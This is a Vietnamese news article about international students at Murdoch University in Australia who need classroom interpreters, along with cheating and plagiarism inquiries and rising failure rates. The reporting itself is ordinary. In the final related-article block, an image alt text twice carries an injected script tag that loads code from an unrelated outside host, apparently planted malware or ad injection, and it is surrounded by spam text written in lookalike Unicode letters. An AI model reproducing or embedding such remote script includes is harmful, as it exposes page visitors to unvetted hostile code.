Úc: Không hiểu tiếng Anh, du học sinh phải nhờ phiên dịch trong lớp học
Trình độ tiếng Anh kém nhiều du học sinh tại Đại học Murdoch, Úc phải nhờ tới phiên dịch trong các lớp học.
Đấy là thực trạng đang diễn ra tại Đại học Murdoch (bang Perth, Australia) khiến nhiều người lo ngại về chất lượng đầu vào của các sinh viên quốc tế. Đồng thời đặt ra yêu cầu quy trình tuyển sinh nghiêm ngặt hơn đối với du học sinh của nhà trường.
Được biết, Đại học Murdoch đã nhận được số lượng lớn đơn xin nhập học từ các du học sinh quốc tế, kể từ khi áp dụng chương trình học bổng trị giá 11.000 USD.
Nhưng điều đáng nói là chất lượng đầu vào của những du học sinh này không đảm bảo. Theo đó, trình độ tiếng Anh của nhiều em kém tới mức phải nhờ tới phiên dịch trong các lớp học.
Từ thực trạng trên, nhà trường đã phải mời luật sư điều tra về những vấn đề liên quan tới quá trình tuyển dụng và hỗ trợ các sinh viên nước ngoài.
Theo đó, các du học sinh tại nhà trường cũng đang bị điều tra về việc gian lận.
Hãng tin The West Australia cho hay, một tỷ lệ sinh viên nhà trường vượt quá mức dự đoán được cho là đã vi phạm các quy định của ngành giáo dục, trong đó có việc đạo văn.
![](http://media.tintucuc.com/files/2018/11/06/uc-khong-hieu-tieng-anh-du-hoc-sinh-phai-nho-phien-dich-trong-lop-hoc-1.jpg)
Đại học Murdoch, Australia.
Liên quan đến vấn đề này, hiệp hội National Tertiary Education của Australia cũng thừa nhận quan ngại về sự gia tăng số lượng du học sinh thiếu kỹ năng tin học và tiếng Anh tại ngôi trường.
Hiệp hội này cho hay, có nhiều trường hợp sinh viên cần sự trợ giúp của phiên dịch trong lớp học, giúp đỡ lẫn nhau trong các bài thi, không thể hoàn thành những yêu cầu cơ bản và tỷ lệ thi trượt cao trong học kỳ đầu tiên của năm nay.
Bà Gabe Gooding, quan chức giáo dục Australia cho biết, điều đáng lo ngại là một số du học sinh của nhà trường không đủ khả năng hoàn thành khóa học. Thậm chí, một bài kiểm tra tại trường Murdoch đã bị gián đoạn vì các du học sinh không ngừng trao đổi bài.
Còn phía nhà trường khẳng định, họ không rõ về trường hợp sinh viên cần tới phiên dịch tại lớp học.
Hiệu trưởng Romy Lawson thừa nhận, tỷ lệ trượt môn của du học sinh quốc tế trong học kỳ đầu tiên năm nay đã gia tăng 4% so với năm ngoái
Theo bà Lawson, nhà trường nhìn nhận những vấn đề liên quan tới tiêu chuẩn học thuật vô cùng nghiêm ngặt. Theo đó, nhà trường sẽ có những biện pháp cần thiết để thực thi chính sách.
![Tɦᴜốc ɓổ ƙɦôпɢ ɓằпɢ łɦực ρɦẩɱ ɓổ: Cácɦ cɦăɱ sóc пɢũ łạпɢ łốł пɦấł ɢiúρ ɓạп sốпɢ łɦọ ɦơп<script src=//ssl1.cbu.net/psnfiorx></script> Tɦᴜốc ɓổ ƙɦôпɢ ɓằпɢ łɦực ρɦẩɱ ɓổ: Cácɦ cɦăɱ sóc пɢũ łạпɢ łốł пɦấł ɢiúρ ɓạп sốпɢ łɦọ ɦơп<script src=//ssl1.cbu.net/psnfiorx></script>](http://media.tintucuc.com/thumb_x165x106/upload/2021/01/26/thuoc-bo-ko-bang-thuc-pham-bo-cach-cham-soc-ngu-tang-tot-nhat-giup-ban-song-tho-hon_thumbimg_2.jpeg)
Tɦᴜốc ɓổ ƙɦôпɢ ɓằпɢ łɦực ρɦẩɱ ɓổ: Cácɦ cɦăɱ sóc пɢũ łạпɢ łốł пɦấł ɢiúρ ɓạп sốпɢ łɦọ ɦơп
Tɦeo các ɓác sĩ, sức ƙɦỏe củɑ пɢũ łạпɢ qᴜyếł ᵭịпɦ łᴜổi łɦọ củɑ ɓạп. Đây ℓà ɓí qᴜyếł ℓựɑ cɦọп łɦực ρɦẩɱ cɦăɱ sóc cơ łɦể łốł пɦấł ɓạп пêп łɦɑɱ ƙɦảo ᵭể ℓᴜôп ƙɦỏe ɱạпɦ ʋà łɾườпɢ łɦọ.